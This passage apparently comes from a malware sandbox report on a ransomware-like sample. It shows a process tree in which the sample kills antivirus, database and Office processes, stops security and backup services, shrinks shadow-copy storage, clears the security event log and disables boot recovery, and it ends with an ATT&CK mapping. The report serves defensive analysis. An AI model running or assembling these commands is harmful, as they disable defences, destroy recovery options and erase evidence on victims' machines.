  cmd.exe /c "taskkill /f /im KasperskyService.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im KasperskyService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5904
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im SophosSAU.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5192
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SophosSAU.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3388
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Tbirdconfig.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5596
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Tbirdconfig.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Sql.exe"
  2⤵
  - Executes a command shell one-liner
  PID:1780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sql.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Oracle.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Oracle.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2444
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Mydesktopqos.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Mydesktopqos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2132
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Ocssd.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5944
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Ocssd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4484
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Ocomm.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4820
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Ocomm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5488
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Dbnmp.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4152
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Dbnmp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2660
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Dbeng50.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2304
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Dbeng50.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3216
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Steam.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4532
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Steam.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1012
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Sqbcoreservice.exe"
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqbcoreservice.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Avast Antivirus! /y"
  2⤵
  PID:4760
- - C:\Windows\SysWOW64\net.exe
    net stop Avast Antivirus! /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5564
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Avast Antivirus! /y
      4⤵
      PID:5496
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop BackupExecAgentBrowser /y"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4436
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecAgentBrowser /y
    3⤵
    PID:1268
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4188
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop AOTAgentSvc /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4556
- - C:\Windows\SysWOW64\net.exe
    net stop AOTAgentSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3204
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop AOTAgentSvc /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4620
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop TMBMServer /y"
  2⤵
  - Executes a command shell one-liner
  PID:5576
- - C:\Windows\SysWOW64\net.exe
    net stop TMBMServer /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6064
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop TMBMServer /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5552
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop iVPAgent /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5220
- - C:\Windows\SysWOW64\net.exe
    net stop iVPAgent /y
    3⤵
    PID:4588
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop iVPAgent /y
      4⤵
      PID:432
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Trend Micro /y"
  2⤵
  - Executes a command shell one-liner
  PID:3408
- - C:\Windows\SysWOW64\net.exe
    net stop Trend Micro /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5984
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Trend Micro /y
      4⤵
      PID:3800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Web Service Communicator /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1976
- - C:\Windows\SysWOW64\net.exe
    net stop Web Service Communicator /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5648
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Web Service Communicator /y
      4⤵
      PID:5156
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Tmlisten /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1008
- - C:\Windows\SysWOW64\net.exe
    net stop Tmlisten /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4884
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Tmlisten /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2196
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop TmWSCSvc /y"
  2⤵
  PID:716
- - C:\Windows\SysWOW64\net.exe
    net stop TmWSCSvc /y
    3⤵
    PID:4956
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop TmWSCSvc /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Sql /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:908
- - C:\Windows\SysWOW64\net.exe
    net stop Sql /y
    3⤵
    PID:2460
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Sql /y
      4⤵
      PID:2688
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Vss Sophos /y"
  2⤵
  PID:996
- - C:\Windows\SysWOW64\net.exe
    net stop Vss Sophos /y
    3⤵
    PID:2396
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Vss Sophos /y
      4⤵
      PID:3252
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Mepo /y"
  2⤵
  - Executes a command shell one-liner
  PID:5232
- - C:\Windows\SysWOW64\net.exe
    net stop Mepo /y
    3⤵
    PID:5680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Mepo /y
      4⤵
      PID:2100
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop GxBlr /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4256
- - C:\Windows\SysWOW64\net.exe
    net stop GxBlr /y
    3⤵
    PID:3548
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop GxBlr /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5272
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop GxCVD /y"
  2⤵
  - Executes a command shell one-liner
  PID:1432
- - C:\Windows\SysWOW64\net.exe
    net stop GxCVD /y
    3⤵
    PID:2184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop GxCVD /y
      4⤵
      PID:2052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Msexchange /y"
  2⤵
  - Executes a command shell one-liner
  PID:3464
- - C:\Windows\SysWOW64\net.exe
    net stop Msexchange /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Msexchange /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB"
  2⤵
  PID:4972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:3060
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wevtutil cl securit"
  2⤵
  PID:5796
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil cl securit
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4804
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:6124
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:1152
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB"
  2⤵
  PID:5216
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im AOTAgent.exe"
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AOTAgent.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1460
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Tmccst /y"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4784
- - C:\Windows\SysWOW64\net.exe
    net stop Tmccst /y
    3⤵
    PID:4280
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Tmccst /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im CETASvc.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2356
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im CETASvc.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Winword.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:260
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Winword.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3084
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop TMResponse /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4740
- - C:\Windows\SysWOW64\net.exe
    net stop TMResponse /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2432
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop TMResponse /y
      4⤵
      PID:4660
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Backup /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4084
- - C:\Windows\SysWOW64\net.exe
    net stop Backup /y
    3⤵
    PID:1104
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Backup /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3296
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Ntrtscan /y"
  2⤵
  - Executes a command shell one-liner
  PID:1000
- - C:\Windows\SysWOW64\net.exe
    net stop Ntrtscan /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Ntrtscan /y
      4⤵
      PID:2476
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Svc$ /y"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5412
- - C:\Windows\SysWOW64\net.exe
    net stop Svc$ /y
    3⤵
    PID:1804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Svc$ /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Memtas /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4332
- - C:\Windows\SysWOW64\net.exe
    net stop Memtas /y
    3⤵
    PID:4928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Memtas /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4396
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop GxVss /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3180
- - C:\Windows\SysWOW64\net.exe
    net stop GxVss /y
    3⤵
    PID:3244
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop GxVss /y
      4⤵
      PID:5480
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads